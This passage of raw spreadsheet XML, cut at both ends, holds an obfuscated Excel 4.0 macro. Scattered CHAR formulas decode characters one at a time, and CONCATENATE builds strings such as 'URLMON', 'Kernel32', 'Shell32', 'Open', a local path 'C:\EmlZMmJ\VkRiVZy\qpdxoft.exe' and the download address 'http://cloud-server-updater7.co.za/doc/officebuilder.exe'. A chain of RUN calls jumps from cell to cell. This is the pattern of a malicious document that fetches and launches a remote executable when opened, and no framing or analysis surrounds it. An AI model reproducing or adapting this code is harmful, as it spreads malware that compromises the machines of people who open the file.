spans="2:195" x14ac:dyDescent="0.25"><c r="EB640" t="b"><f>RUN($ET$41)</f><v>0</v></c></row><row r="642" spans="29:244" x14ac:dyDescent="0.25"><c r="CX642" t="str"><f>CHAR($AS$1993-955)</f><v>t</v></c></row><row r="646" spans="29:244" x14ac:dyDescent="0.25"><c r="IJ646" t="str"><f>CHAR($W$980-403)</f><v>R</v></c></row><row r="649" spans="29:244" x14ac:dyDescent="0.25"><c r="DN649"><v>24</v></c></row><row r="651" spans="29:244" x14ac:dyDescent="0.25"><c r="AC651"><v>61</v></c></row><row r="661" spans="67:67" x14ac:dyDescent="0.25"><c r="BO661" t="str"><f>CHAR($FQ$928-496)</f><v>.</v></c></row><row r="678" spans="8:247" x14ac:dyDescent="0.25"><c r="FT678" t="str"><f>CHAR($CB$1994-496)</f><v>.</v></c><c r="IG678"><v>64</v></c></row><row r="679" spans="8:247" x14ac:dyDescent="0.25"><c r="IM679" t="str"><f>CHAR($R$917-496)</f><v>-</v></c></row><row r="686" spans="8:247" x14ac:dyDescent="0.25"><c r="H686" t="b"><f>RUN($DB$249)</f><v>0</v></c><c r="CB686" t="str"><f>CHAR($HR$1335-496)</f><v>i</v></c></row><row r="694" spans="35:247" x14ac:dyDescent="0.25"><c r="AI694"><v>85</v></c></row><row r="696" spans="35:247" x14ac:dyDescent="0.25"><c r="CA696"><v>15</v></c></row><row r="697" spans="35:247" x14ac:dyDescent="0.25"><c r="IG697"><v>17</v></c></row><row r="698" spans="35:247" x14ac:dyDescent="0.25"><c r="IM698" t="b"><f>RUN($ET$1778)</f><v>0</v></c></row><row r="701" spans="35:247" x14ac:dyDescent="0.25"><c r="HS701"><v>66</v></c></row><row r="710" spans="27:227" x14ac:dyDescent="0.25"><c r="AA710"><v>35</v></c></row><row r="711" spans="27:227" x14ac:dyDescent="0.25"><c r="CX711" t="str"><f>CHAR($GX$154-496)</f><v>c</v></c><c r="GB711"><v>21</v></c></row><row r="714" spans="27:227" x14ac:dyDescent="0.25"><c r="CW714" t="b"><f>RUN($HC$585)</f><v>0</v></c></row><row r="715" spans="27:227" x14ac:dyDescent="0.25"><c r="HS715"><v>1060</v></c></row><row r="716" spans="27:227" x14ac:dyDescent="0.25"><c r="HI716"><v>73</v></c></row><row r="719" spans="27:227" x14ac:dyDescent="0.25"><c r="BR719"><v>91</v></c></row><row r="722" spans="59:197" x14ac:dyDescent="0.25"><c r="BL722" t="str"><f>CONCATENATE($HQ$1255,$GR$1582,$AZ$1200,$CU$408)</f><v>Open</v></c><c r="ED722" t="b"><f>RUN($GZ$1506)</f><v>0</v></c></row><row r="725" spans="59:197" x14ac:dyDescent="0.25"><c r="DC725"><v>83</v></c><c r="DE725"><v>1072</v></c><c r="EQ725"><v>37</v></c></row><row r="728" spans="59:197" x14ac:dyDescent="0.25"><c r="GO728" t="b"><f>RUN($HZ$420)</f><v>0</v></c></row><row r="729" spans="59:197" x14ac:dyDescent="0.25"><c r="BG729" t="b"><f>RUN($HA$154)</f><v>0</v></c><c r="BT729" t="str"><f>CONCATENATE($IJ$1578)</f><v>Kernel32</v></c></row><row r="736" spans="59:197" x14ac:dyDescent="0.25"><c r="ET736"><v>65</v></c></row><row r="743" spans="19:201" x14ac:dyDescent="0.25"><c r="S743"><v>1066</v></c></row><row r="746" spans="19:201" x14ac:dyDescent="0.25"><c r="DX746"><v>1071</v></c></row><row r="751" spans="19:201" x14ac:dyDescent="0.25"><c r="GS751" t="str"><f>CHAR($FQ$313-496)</f><v>t</v></c></row><row r="754" spans="12:158" x14ac:dyDescent="0.25"><c r="AX754"><v>97</v></c><c r="DR754"><v>98</v></c></row><row r="756" spans="12:158" x14ac:dyDescent="0.25"><c r="FB756"><v>481</v></c></row><row r="757" spans="12:158" x14ac:dyDescent="0.25"><c r="AZ757"><v>91</v></c></row><row r="764" spans="12:158" x14ac:dyDescent="0.25"><c r="CF764" t="b"><f>RUN($K$1589)</f><v>0</v></c><c r="CT764" t="str"><f>CHAR($C$1006-955)</f><v>c</v></c></row><row r="768" spans="12:158" x14ac:dyDescent="0.25"><c r="L768"><v>95</v></c></row><row r="769" spans="18:243" x14ac:dyDescent="0.25"><c r="EM769" t="b"><f>RUN($CO$444)</f><v>0</v></c></row><row r="770" spans="18:243" x14ac:dyDescent="0.25"><c r="EO770" t="b"><f>RUN($EX$1659)</f><v>0</v></c><c r="HP770" t="str"><f>CHAR($FN$1638-403)</f><v>3</v></c></row><row r="771" spans="18:243" x14ac:dyDescent="0.25"><c r="DW771" t="str"><f>CHAR($CQ$1695-496)</f><v>r</v></c></row><row r="775" spans="18:243" x14ac:dyDescent="0.25"><c r="DU775" t="b"><f>RUN($BY$1867)</f><v>0</v></c><c r="FC775"><v>482</v></c></row><row r="777" spans="18:243" x14ac:dyDescent="0.25"><c r="DV777"><v>14</v></c><c r="HN777" t="str"><f>CONCATENATE($CX$1411,$GG$26)</f><v>http://cloud-server-updater7.co.za/doc/officebuilder.exe</v></c></row><row r="779" spans="18:243" x14ac:dyDescent="0.25"><c r="R779"><v>93</v></c></row><row r="780" spans="18:243" x14ac:dyDescent="0.25"><c r="II780" t="b"><f>RUN($CC$605)</f><v>0</v></c></row><row r="782" spans="18:243" x14ac:dyDescent="0.25"><c r="BW782"><v>610</v></c></row><row r="790" spans="13:203" x14ac:dyDescent="0.25"><c r="M790"><v>2</v></c></row><row r="793" spans="13:203" x14ac:dyDescent="0.25"><c r="GK793"><v>1065</v></c></row><row r="794" spans="13:203" x14ac:dyDescent="0.25"><c r="AJ794" t="b"><f>RUN($HD$9)</f><v>0</v></c></row><row r="798" spans="13:203" x14ac:dyDescent="0.25"><c r="EP798" t="str"><f>CHAR($GR$391-955)</f><v>n</v></c><c r="GU798"><v>1063</v></c></row><row r="799" spans="13:203" x14ac:dyDescent="0.25"><c r="DH799"><v>93</v></c></row><row r="801" spans="15:234" x14ac:dyDescent="0.25"><c r="DH801"><v>84</v></c></row><row r="804" spans="15:234" x14ac:dyDescent="0.25"><c r="O804" t="str"><f>CHAR($B$637-403)</f><v>2</v></c></row><row r="805" spans="15:234" x14ac:dyDescent="0.25"><c r="FH805" t="str"><f>CHAR($GZ$1178-955)</f><v>L</v></c></row><row r="809" spans="15:234" x14ac:dyDescent="0.25"><c r="FZ809"><v>597</v></c><c r="HZ809"><v>1054</v></c></row><row r="817" spans="15:167" x14ac:dyDescent="0.25"><c r="W817"><v>1029</v></c><c r="DT817" t="b"><f>RUN($IG$1060)</f><v>0</v></c></row><row r="820" spans="15:167" x14ac:dyDescent="0.25"><c r="FK820"><v>75</v></c></row><row r="828" spans="15:167" x14ac:dyDescent="0.25"><c r="O828" t="b"><f>RUN($HW$1574)</f><v>0</v></c></row><row r="835" spans="21:203" x14ac:dyDescent="0.25"><c r="GU835"><v>20</v></c></row><row r="838" spans="21:203" x14ac:dyDescent="0.25"><c r="BS838"><v>1069</v></c></row><row r="839" spans="21:203" x14ac:dyDescent="0.25"><c r="CT839"><v>58</v></c></row><row r="844" spans="21:203" x14ac:dyDescent="0.25"><c r="CG844"><v>63</v></c></row><row r="845" spans="21:203" x14ac:dyDescent="0.25"><c r="U845" t="str"><f>CHAR($BP$87-952)</f><v>\</v></c></row><row r="848" spans="21:203" x14ac:dyDescent="0.25"><c r="AM848" t="str"><f>CHAR($DX$746-955)</f><v>t</v></c></row><row r="859" spans="155:183" x14ac:dyDescent="0.25"><c r="FI859"><v>2</v></c></row><row r="862" spans="155:183" x14ac:dyDescent="0.25"><c r="GA862" t="b"><f>RUN($CB$633)</f><v>0</v></c></row><row r="863" spans="155:183" x14ac:dyDescent="0.25"><c r="EY863"><v>1056</v></c></row><row r="865" spans="24:233" x14ac:dyDescent="0.25"><c r="AY865"><v>25</v></c><c r="CV865" t="b"><f>RUN($BJ$607)</f><v>0</v></c></row><row r="868" spans="24:233" x14ac:dyDescent="0.25"><c r="GC868" t="str"><f>CHAR($W$817-952)</f><v>M</v></c></row><row r="870" spans="24:233" x14ac:dyDescent="0.25"><c r="FY870"><v>83</v></c></row><row r="874" spans="24:233" x14ac:dyDescent="0.25"><c r="HY874" t="b"><f>RUN($EC$614)</f><v>0</v></c></row><row r="875" spans="24:233" x14ac:dyDescent="0.25"><c r="X875" t="str"><f>CHAR($BB$1398-955)</f><v>T</v></c></row><row r="884" spans="33:245" x14ac:dyDescent="0.25"><c r="DD884"><v>34</v></c></row><row r="887" spans="33:245" x14ac:dyDescent="0.25"><c r="DK887" t="str"><f>CHAR($BT$1679-403)</f><v>K</v></c></row><row r="888" spans="33:245" x14ac:dyDescent="0.25"><c r="AG888"><v>504</v></c><c r="CA888"><v>95</v></c><c r="IK888"><v>0</v></c></row><row r="891" spans="33:245" x14ac:dyDescent="0.25"><c r="BL891"><v>4</v></c></row><row r="892" spans="33:245" x14ac:dyDescent="0.25"><c r="BC892"><v>597</v></c></row><row r="894" spans="33:245" x14ac:dyDescent="0.25"><c r="BE894" t="str"><f>CHAR($AU$272-496)</f><v>f</v></c></row><row r="897" spans="11:236" x14ac:dyDescent="0.25"><c r="K897"><v>507</v></c></row><row r="900" spans="11:236" x14ac:dyDescent="0.25"><c r="EK900" t="b"><f>RUN($HR$132)</f><v>0</v></c></row><row r="901" spans="11:236" x14ac:dyDescent="0.25"><c r="IB901"><v>70</v></c></row><row r="903" spans="11:236" x14ac:dyDescent="0.25"><c r="CG903" t="str"><f>CHAR($FO$327-952)</f><v>E</v></c></row><row r="908" spans="11:236" x14ac:dyDescent="0.25"><c r="EB908"><v>94</v></c></row><row r="912" spans="11:236" x14ac:dyDescent="0.25"><c r="DT912"><v>80</v></c></row><row r="917" spans="18:202" x14ac:dyDescent="0.25"><c r="R917"><v>541</v></c></row><row r="919" spans="18:202" x14ac:dyDescent="0.25"><c r="T919"><v>93</v></c></row><row r="921" spans="18:202" x14ac:dyDescent="0.25"><c r="GT921" t="str"><f>CHAR($J$276-496)</f><v>i</v></c></row><row r="928" spans="18:202" x14ac:dyDescent="0.25"><c r="FQ928"><v>542</v></c></row><row r="931" spans="26:170" x14ac:dyDescent="0.25"><c r="Z931" t="b"><f>RUN($II$780)</f><v>0</v></c></row><row r="934" spans="26:170" x14ac:dyDescent="0.25"><c r="FN934" t="str"><f>CHAR($FE$1602-952)</f><v>q</v></c></row><row r="936" spans="26:170" x14ac:dyDescent="0.25"><c r="BB936" t="str"><f>CHAR($DM$156-496)</f><v>f</v></c></row><row r="938" spans="26:170" x14ac:dyDescent="0.25"><c r="DZ938"><v>36</v></c></row><row r="940" spans="26:170" x14ac:dyDescent="0.25"><c r="BO940"><v>595</v></c></row><row r="942" spans="26:170" x14ac:dyDescent="0.25"><c r="CG942"><v>7</v></c></row><row r="951" spans="43:221" x14ac:dyDescent="0.25"><c r="EQ951" t="b"><f>RUN($GL$1264)</f><v>0</v></c></row><row r="953" spans="43:221" x14ac:dyDescent="0.25"><c r="AQ953"><v>36</v></c></row><row r="957" spans="43:221" x14ac:dyDescent="0.25"><c r="DQ957"><v>59</v></c><c r="HM957" t="str"><f>CHAR($IA$314-955)</f><v>a</v></c></row><row r="965" spans="46:204" x14ac:dyDescent="0.25"><c r="AT965" t="b"><f>RUN($O$828)</f><v>0</v></c></row><row r="966" spans="46:204" x14ac:dyDescent="0.25"><c r="FI966"><v>11</v></c></row><row r="967" spans="46:204" x14ac:dyDescent="0.25"><c r="BL967"><v>604</v></c></row><row r="969" spans="46:204" x14ac:dyDescent="0.25"><c r="DT969" t="str"><f>CHAR($BH$365-403)</f><v>e</v></c></row><row r="970" spans="46:204" x14ac:dyDescent="0.25"><c r="GV970"><v>80</v></c></row><row r="975" spans="46:204" x14ac:dyDescent="0.25"><c r="DX975"><v>91</v></c></row><row r="978" spans="23:192" x14ac:dyDescent="0.25"><c r="FA978" t="b"><f>RUN($GO$370)</f><v>0</v></c></row><row r="980" spans="23:192" x14ac:dyDescent="0.25"><c r="W980"><v>485</v></c></row><row r="981" spans="23:192" x14ac:dyDescent="0.25"><c r="AV981"><v>612</v></c></row><row r="983" spans="23:192" x14ac:dyDescent="0.25"><c r="CH983"><v>60</v></c></row><row r="984" spans="23:192" x14ac:dyDescent="0.25"><c r="EN984" t="str"><f>CHAR($AR$1095-952)</f><v>m</v></c></row><row r="986" spans="23:192" x14ac:dyDescent="0.25"><c r="FN986" t="str"><f>CHAR($CG$1552-952)</f><v>\</v></c></row><row r="987" spans="23:192" x14ac:dyDescent="0.25"><c r="GJ987" t="str"><f>CHAR($GU$798-955)</f><v>l</v></c></row><row r="1001" spans="3:220" x14ac:dyDescent="0.25"><c r="HL1001"><v>14</v></c></row><row r="1005" spans="3:220" x14ac:dyDescent="0.25"><c r="CE1005"><v>29</v></c></row><row r="1006" spans="3:220" x14ac:dyDescent="0.25"><c r="C1006"><v>1054</v></c></row><row r="1008" spans="3:220" x14ac:dyDescent="0.25"><c r="BA1008"><v>597</v></c></row><row r="1011" spans="25:66" x14ac:dyDescent="0.25"><c r="AS1011"><v>99</v></c></row><row r="1017" spans="25:66" x14ac:dyDescent="0.25"><c r="Y1017"><v>1040</v></c></row><row r="1019" spans="25:66" x14ac:dyDescent="0.25"><c r="BN1019"><v>60</v></c></row><row r="1026" spans="34:118" x14ac:dyDescent="0.25"><c r="DN1026"><v>1061</v></c></row><row r="1036" spans="34:118" x14ac:dyDescent="0.25"><c r="CV1036" t="str"><f>CONCATENATE($ER$1480,$AD$543,$FN$986,$CG$903,$U$1720,$BQ$89,$CU$226,$GC$868,$EN$984,$BM$618,$U$845,$DA$134,$BM$1994,$N$326,$E$583,$G$1748,$AK$624,$BI$1812,$HB$325,$FN$934,$GE$1964,$GK$3,$CY$1475,$CG$368,$J$1138,$E$1443,$CR$1592,$FH$461,$HE$1050)</f><v>C:\EmlZMmJ\VkRiVZy\qpdxoft.ex</v></c></row><row r="1038" spans="34:118" x14ac:dyDescent="0.25"><c r="BZ1038" t="b"><f>RUN($HX$1957)</f><v>0</v></c></row><row r="1039" spans="34:118" x14ac:dyDescent="0.25"><c r="AH1039"><v>78</v></c></row><row r="1041" spans="37:213" x14ac:dyDescent="0.25"><c r="CS1041" t="b"><f>RUN($FU$149)</f><v>0</v></c></row><row r="1042" spans="37:213" x14ac:dyDescent="0.25"><c r="HA1042" t="b"><f>RUN($BB$1796)</f><v>0</v></c></row><row r="1043" spans="37:213" x14ac:dyDescent="0.25"><c r="AV1043"><v>70</v></c></row><row r="1045" spans="37:213" x14ac:dyDescent="0.25"><c r="AK1045" t="str"><f>CHAR($HK$39-955)</f><v>A</v></c><c r="ET1045" t="b"><f>RUN($EQ$951)</f><v>0</v></c></row><row r="1049" spans="37:213" x14ac:dyDescent="0.25"><c r="DW1049"><v>83</v></c></row><row r="1050" spans="37:213" x14ac:dyDescent="0.25"><c r="HE1050" t="str"><f>CHAR($AA$1184-952)</f><v>x</v></c></row><row r="1051" spans="37:213" x14ac:dyDescent="0.25"><c r="CE1051"><v>25</v></c></row><row r="1055" spans="37:213" x14ac:dyDescent="0.25"><c r="BG1055" t="str"><f>CHAR($K$897-403)</f><v>h</v></c></row><row r="1056" spans="37:213" x14ac:dyDescent="0.25"><c r="DE1056"><v>95</v></c></row><row r="1060" spans="25:241" x14ac:dyDescent="0.25"><c r="IG1060" t="b"><f>RUN($EI$1713)</f><v>0</v></c></row><row r="1062" spans="25:241" x14ac:dyDescent="0.25"><c r="Y1062"><v>13</v></c></row><row r="1067" spans="25:241" x14ac:dyDescent="0.25"><c r="GM1067" t="b"><f>RUN($CT$1909)</f><v>0</v></c></row><row r="1069" spans="25:241" x14ac:dyDescent="0.25"><c r="FL1069"><v>1059</v></c></row><row r="1070" spans="25:241" x14ac:dyDescent="0.25"><c r="FI1070"><v>511</v></c></row><row r="1071" spans="25:241" x14ac:dyDescent="0.25"><c r="AX1071" t="str"><f>CHAR($HJ$1863-496)</f><v>o</v></c></row><row r="1072" spans="25:241" x14ac:dyDescent="0.25"><c r="IF1072" t="b"><f>RUN($H$686)</f><v>0</v></c></row><row r="1073" spans="3:241" x14ac:dyDescent="0.25"><c r="C1073"><v>2</v></c></row><row r="1076" spans="3:241" x14ac:dyDescent="0.25"><c r="AX1076"><v>16</v></c></row><row r="1077" spans="3:241" x14ac:dyDescent="0.25"><c r="S1077" t="b"><f>RUN($FJ$1997)</f><v>0</v></c></row><row r="1079" spans="3:241" x14ac:dyDescent="0.25"><c r="FD1079" t="str"><f>CHAR($EV$632-403)</f><v>2</v></c></row><row r="1085" spans="3:241" x14ac:dyDescent="0.25"><c r="GG1085" t="b"><f>RUN($AY$272)</f><v>0</v></c></row><row r="1088" spans="3:241" x14ac:dyDescent="0.25"><c r="IG1088"><v>56</v></c></row><row r="1094" spans="15:242" x14ac:dyDescent="0.25"><c r="CJ1094"><v>610</v></c></row><row r="1095" spans="15:242" x14ac:dyDescent="0.25"><c r="AR1095"><v>1061</v></c></row><row r="1097" spans="15:242" x14ac:dyDescent="0.25"><c r="O1097"><v>92</v></c></row><row r="1102" spans="15:242" x14ac:dyDescent="0.25"><c r="AY1102"><v>5</v></c><c r="FQ1102" t="str"><f>CHAR($HV$1952-496)</f><v>z</v></c></row><row r="1104" spans="15:242" x14ac:dyDescent="0.25"><c r="IH1104" t="str"><f>CHAR($FB$756-403)</f><v>N</v></c></row><row r="1105" spans="40:224" x14ac:dyDescent="0.25"><c r="AN1105"><v>51</v></c></row><row r="1114" spans="40:224" x14ac:dyDescent="0.25"><c r="CK1114"><v>64</v></c><c r="HP1114"><v>1042</v></c></row><row r="1118" spans="40:224" x14ac:dyDescent="0.25"><c r="AW1118"><v>85</v></c></row><row r="1131" spans="50:245" x14ac:dyDescent="0.25"><c r="FW1131"><v>614</v></c></row><row r="1132" spans="50:245" x14ac:dyDescent="0.25"><c r="GV1132"><v>70</v></c></row><row r="1134" spans="50:245" x14ac:dyDescent="0.25"><c r="FD1134"><v>1056</v></c><c r="IK1134"><v>597</v></c></row><row r="1136" spans="50:245" x14ac:dyDescent="0.25"><c r="AX1136"><v>18</v></c></row><row r="1138" spans="10:102" x14ac:dyDescent="0.25"><c r="J1138" t="str"><f>CHAR($GM$1710-952)</f><v>f</v></c></row><row r="1143" spans="10:102" x14ac:dyDescent="0.25"><c r="CM1143" t="b"><f>RUN($ED$722)</f><v>0</v></c></row><row r="1150" spans="10:102" x14ac:dyDescent="0.25"><c r="BF1150"><v>596</v></c></row><row r="1152" spans="10:102" x14ac:dyDescent="0.25"><c r="CX1152" t="b"><f>RUN($DT$817)</f><v>0</v></c></row><row r="1155" spans="52:203" x14ac:dyDescent="0.25"><c r="AZ1155"><v>84</v></c></row><row r="1156" spans="52:203" x14ac:dyDescent="0.25"><c r="FG1156"><v>612</v></c></row><row r="1158" spans="52:203" x14ac:dyDescent="0.25"><c r="FG1158"><v>596</v></c></row><row r="1160" spans="52:203" x14ac:dyDescent="0.25"><c r="DW1160"><v>1042</v></c></row><row r="1163" spans="52:203" x14ac:dyDescent="0.25"><c r="GU1163"><v>50</v></c></row><row r="1166" spans="52:203" x14ac:dyDescent="0.25"><c r="DT1166" t="str"><f>CHAR($CM$1643-496)</f><v>/</v></c></row><row r="1169" spans="27:208" x14ac:dyDescent="0.25"><c r="GT1169"><v>45</v></c></row><row r="1178" spans="27:208" x14ac:dyDescent="0.25"><c r="GZ1178"><v>1031</v></c></row><row r="1182" spans="27:208" x14ac:dyDescent="0.25"><c r="ET1182"><v>4</v></c></row><row r="1183" spans="27:208" x14ac:dyDescent="0.25"><c r="BG1183" t="b"><f>RUN($BT$636)</f><v>0</v></c><c r="CR1183"><v>1056</v></c></row><row r="1184" spans="27:208" x14ac:dyDescent="0.25"><c r="AA1184"><v>1072</v></c></row><row r="1189" spans="24:102" x14ac:dyDescent="0.25"><c r="AO1189" t="b"><f>RUN($AB$1492)</f><v>0</v></c></row><row r="1191" spans="24:102" x14ac:dyDescent="0.25"><c r="CX1191"><v>1076</v></c></row><row r="1198" spans="24:102" x14ac:dyDescent="0.25"><c r="CM1198"><v>1072</v></c></row><row r="1200" spans="24:102" x14ac:dyDescent="0.25"><c r="X1200"><v>25</v></c><c r="AZ1200" t="str"><f>CHAR($EY$863-955)</f><v>e</v></c></row><row r="1201" spans="9:224" x14ac:dyDescent="0.25"><c r="GH1201"><v>70</v></c></row><row r="1202" spans="9:224" x14ac:dyDescent="0.25"><c r="AH1202"><v>1056</v></c></row><row r="1203" spans="9:224" x14ac:dyDescent="0.25"><c r="DP1203" t="b"><f>RUN($CK$1613)</f><v>0</v></c></row><row r="1206" spans="9:224" x14ac:dyDescent="0.25"><c r="AO1206"><v>89</v></c></row><row r="1209" spans="9:224" x14ac:dyDescent="0.25"><c r="HP1209"><v>80</v></c></row><row r="1210" spans="9:224" x14ac:dyDescent="0.25"><c r="I1210" t="str"><f>CHAR($EE$1821-955)</f><v>i</v></c></row><row r="1217" spans="54:246" x14ac:dyDescent="0.25"><c r="FQ1217" t="str"><f>CHAR($BS$446-955)</f><v>D</v></c></row><row r="1219" spans="54:246" x14ac:dyDescent="0.25"><c r="ID1219"><v>479</v></c></row><row r="1222" spans="54:246" x14ac:dyDescent="0.25"><c r="IL1222"><v>40</v></c></row><row r="1223" spans="54:246" x14ac:dyDescent="0.25"><c r="BB1223"><v>595</v></c><c r="IL1223" t="b"><f>RUN($DP$1296)</f><v>0</v></c></row><row r="1224" spans="54:246" x14ac:dyDescent="0.25"><c r="CI1224" t="str"><f>CHAR($EI$213-496)</f><v>p</v></c></row><row r="1225" spans="54:246" x14ac:dyDescent="0.25"><c r="GB1225"><v>8</v></c></row><row r="1233" spans="81:211" x14ac:dyDescent="0.25"><c r="CT1233" t="str"><f>CHAR($BF$1150-496)</f><v>d</v></c></row><row r="1234" spans="81:211" x14ac:dyDescent="0.25"><c r="GC1234" t="str"><f>CHAR($HN$1697-955)</f><v>a</v></c></row><row r="1236" spans="81:211" x14ac:dyDescent="0.25"><c r="GZ1236" t="str"><f>CHAR($BW$782-496)</f><v>r</v></c></row><row r="1239" spans="81:211" x14ac:dyDescent="0.25"><c r="GM1239"><v>82</v></c></row><row r="1243" spans="81:211" x14ac:dyDescent="0.25"><c r="HC1243"><v>87</v></c></row><row r="1244" spans="81:211" x14ac:dyDescent="0.25"><c r="DB1244" t="str"><f>CHAR($EG$1449-955)</f><v>o</v></c></row><row r="1245" spans="81:211" x14ac:dyDescent="0.25"><c r="EW1245"><v>65</v></c></row><row r="1246" spans="81:211" x14ac:dyDescent="0.25"><c r="CC1246"><v>36</v></c></row><row r="1250" spans="84:225" x14ac:dyDescent="0.25"><c r="CF1250" t="str"><f>CONCATENATE($AJ$521)</f><v>Shell32</v></c></row><row r="1255" spans="84:225" x14ac:dyDescent="0.25"><c r="HQ1255" t="str"><f>CHAR($ES$478-955)</f><v>O</v></c></row><row r="1257" spans="84:225" x14ac:dyDescent="0.25"><c r="CH1257" t="b"><f>RUN($CR$1632)</f><v>0</v></c></row><row r="1261" spans="84:225" x14ac:dyDescent="0.25"><c r="EJ1261" t="str"><f>CHAR($CR$1183-955)</f><v>e</v></c></row><row r="1264" spans="84:225" x14ac:dyDescent="0.25"><c r="CV1264" t="str"><f>CHAR($BS$838-955)</f><v>r</v></c><c r="GL1264" t="b"><f>RUN($BG$729)</f><v>0</v></c></row><row r="1269" spans="210:231" x14ac:dyDescent="0.25"><c r="HB1269"><v>0</v></c></row><row r="1271" spans="210:231" x14ac:dyDescent="0.25"><c r="HW1271"><v>480</v></c></row><row r="1284" spans="92:249" x14ac:dyDescent="0.25"><c r="HL1284"><v>84</v></c></row><row r="1286" spans="92:249" x14ac:dyDescent="0.25"><c r="CN1286"><v>1</v></c></row><row r="1287" spans="92:249" x14ac:dyDescent="0.25"><c r="FG1287"><v>1053</v></c><c r="IO1287"><v>82</v></c></row><row r="1296" spans="92:249" x14ac:dyDescent="0.25"><c r="DP1296" t="b"><f>RUN($GI$178)</f><v>0</v></c></row><row r="1298" spans="24:155" x14ac:dyDescent="0.25"><c r="EY1298"><v>31</v></c></row><row r="1303" spans="24:155" x14ac:dyDescent="0.25"><c r="DH1303"><v>54</v></c></row><row r="1307" spans="24:155" x14ac:dyDescent="0.25"><c r="EV1307"><v>15</v></c></row><row r="1308" spans="24:155" x14ac:dyDescent="0.25"><c r="DA1308" t="str"><f>CHAR($GD$1890-955)</f><v>S</v></c></row><row r="1309" spans="24:155" x14ac:dyDescent="0.25"><c r="X1309" t="b"><f>RUN($FN$1594)</f><v>0</v></c></row><row r="1312" spans="24:155" x14ac:dyDescent="0.25"><c r="AG1312"><v>1063</v></c></row><row r="1318" spans="32:231" x14ac:dyDescent="0.25"><c r="HW1318" t="b"><f>RUN($AV$1882)</f><v>0</v></c></row><row r="1324" spans="32:231" x14ac:dyDescent="0.25"><c r="AF1324"><v>1010</v></c></row><row r="1327" spans="32:231" x14ac:dyDescent="0.25"><c r="AX1327" t="str"><f>CHAR($GF$55-955)</f><v>l</v></c><c r="BD1327" t="str"><f>CHAR($HZ$809-955)</f><v>c</v></c><c r="CV1327"><v>50</v></c></row><row r="1335" spans="161:226" x14ac:dyDescent="0.25"><c r="HR1335"><v>601</v></c></row><row r="1337" spans="161:226" x14ac:dyDescent="0.25"><c r="FE1337" t="str"><f>CHAR($IF$1455-496)</f><v>a</v></c></row><row r="1349" spans="11:147" x14ac:dyDescent="0.25"><c r="DR1349"><v>607</v></c></row><row r="1351" spans="11:147" x14ac:dyDescent="0.25"><c r="K1351" t="str"><f>CHAR($AG$1312-955)</f><v>l</v></c></row><row r="1352" spans="11:147" x14ac:dyDescent="0.25"><c r="BZ1352"><v>91</v></c></row><row r="1358" spans="11:147" x14ac:dyDescent="0.25"><c r="DZ1358"><v>488</v></c></row><row r="1360" spans="11:147" x14ac:dyDescent="0.25"><c r="AU1360" t="str"><f>CHAR($AN$1922-955)</f><v>o</v></c><c r="EQ1360"><v>543</v></c></row><row r="1362" spans="74:113" x14ac:dyDescent="0.25"><c r="CK1362"><v>6</v></c></row><row r="1363" spans="74:113" x14ac:dyDescent="0.25"><c r="DI1363"><v>96</v></c></row><row r="1367" spans="74:113" x14ac:dyDescent="0.25"><c r="BW1367"><v>53</v></c></row><row r="1372" spans="74:113" x14ac:dyDescent="0.25"><c r="BV1372"><v>1068</v></c></row><row r="1373" spans="74:113" x14ac:dyDescent="0.25"><c r="CO1373" t="str"><f>CHAR($FM$555-496)</f><v>:</v></c></row><row r="1387" spans="69:236" x14ac:dyDescent="0.25"><c r="BQ1387"><v>1056</v></c><c r="DX1387"><v>1034</v></c></row><row r="1388" spans="69:236" x14ac:dyDescent="0.25"><c r="IB1388"><v>64</v></c></row><row r="1390" spans="69:236" x14ac:dyDescent="0.25"><c r="DT1390" t="str"><f>CONCATENATE($FR$564,$IJ$646,$AT$1587,$AH$20,$CR$582,$IH$1104)</f><v>URLMON</v></c></row><row r="1395" spans="40:209" x14ac:dyDescent="0.25"><c r="CV1395" t="str"><f>CHAR($G$40-955)</f><v>t</v></c></row><row r="1396" spans="40:209" x14ac:dyDescent="0.25"><c r="FG1396" t="b"><f>RUN($CX$1152)</f><v>0</v></c><c r="GY1396"><v>30</v></c></row><row r="1397" spans="40:209" x14ac:dyDescent="0.25"><c r="AN1397"><v>610</v></c></row><row r="1398" spans="40:209" x14ac:dyDescent="0.25"><c r="BB1398"><v>1039</v></c><c r="FJ1398" t="str"><f>CHAR($Y$1017-955)</f><v>U</v></c></row><row r="1400" spans="40:209" x14ac:dyDescent="0.25"><c r="FD1400"><v>66</v></c></row><row r="1403" spans="40:209" x14ac:dyDescent="0.25"><c r="ET1403" t="str"><f>CHAR($FP$1601-955)</f><v>R</v></c></row><row r="1406" spans="40:209" x14ac:dyDescent="0.25"><c r="FT1406" t="b"><f>RUN($ET$1598)</f><v>0</v></c><c r="HA1406" t="str"><f>CHAR($BO$940-496)</f><v>c</v></c></row><row r="1407" spans="40:209" x14ac:dyDescent="0.25"><c r="DJ1407"><v>40</v></c></row><row r="1409" spans="102:230" x14ac:dyDescent="0.25"><c r="CY1409"><v>604</v></c></row><row r="1411" spans="102:230" x14ac:dyDescent="0.25"><c r="CX1411" t="str"><f>CONCATENATE($IN$1590,$R$54,$DX$624,$GA$69,$CO$1373,$EV$390,$HS$177,$CX$711,$F$1565,$HW$1968,$GM$1593,$HF$1505,$BU$1814,$AW$1620,$DQ$392,$HW$80,$CU$113,$FU$483,$DW$771,$IM$679,$FI$354,$CI$1224,$CT$1233,$DT$465,$GS$751,$EF$1805,$AZ$1996,$AQ$485,$F$329)</f><v>http://cloud-server-updater7.</v></c></row><row r="1422" spans="102:230" x14ac:dyDescent="0.25"><c r="HV1422"><v>32</v></c></row><row r="1428" spans="19:241" x14ac:dyDescent="0.25"><c r="S1428"><v>89</v></c><c r="HY1428" t="str"><f>CHAR($II$391-955)</f><v>e</v></c></row><row r="1434" spans="19:241" x14ac:dyDescent="0.25"><c r="DE1434"><v>17</v></c></row><row r="1436" spans="19:241" x14ac:dyDescent="0.25"><c r="IG1436"><v>72</v></c></row><row r="1439" spans="19:241" x14ac:dyDescent="0.25"><c r="BY1439"><v>541</v></c></row><row r="1440" spans="19:241" x14ac:dyDescent="0.25"><c r="BG1440"><v>611</v></c></row><row r="1443" spans="5:240" x14ac:dyDescent="0.25"><c r="E1443" t="str"><f>CHAR($BV$1372-952)</f><v>t</v></c></row><row r="1449" spans="5:240" x14ac:dyDescent="0.25"><c r="EG1449"><v>1066</v></c></row><row r="1455" spans="5:240" x14ac:dyDescent="0.25"><c r="CG1455" t="str"><f>CHAR($GT$417-955)</f><v>D</v></c><c r="IF1455"><v>593</v></c></row><row r="1456" spans="5:240" x14ac:dyDescent="0.25"><c r="HT1456"><v>517</v></c></row><row r="1458" spans="1:231" 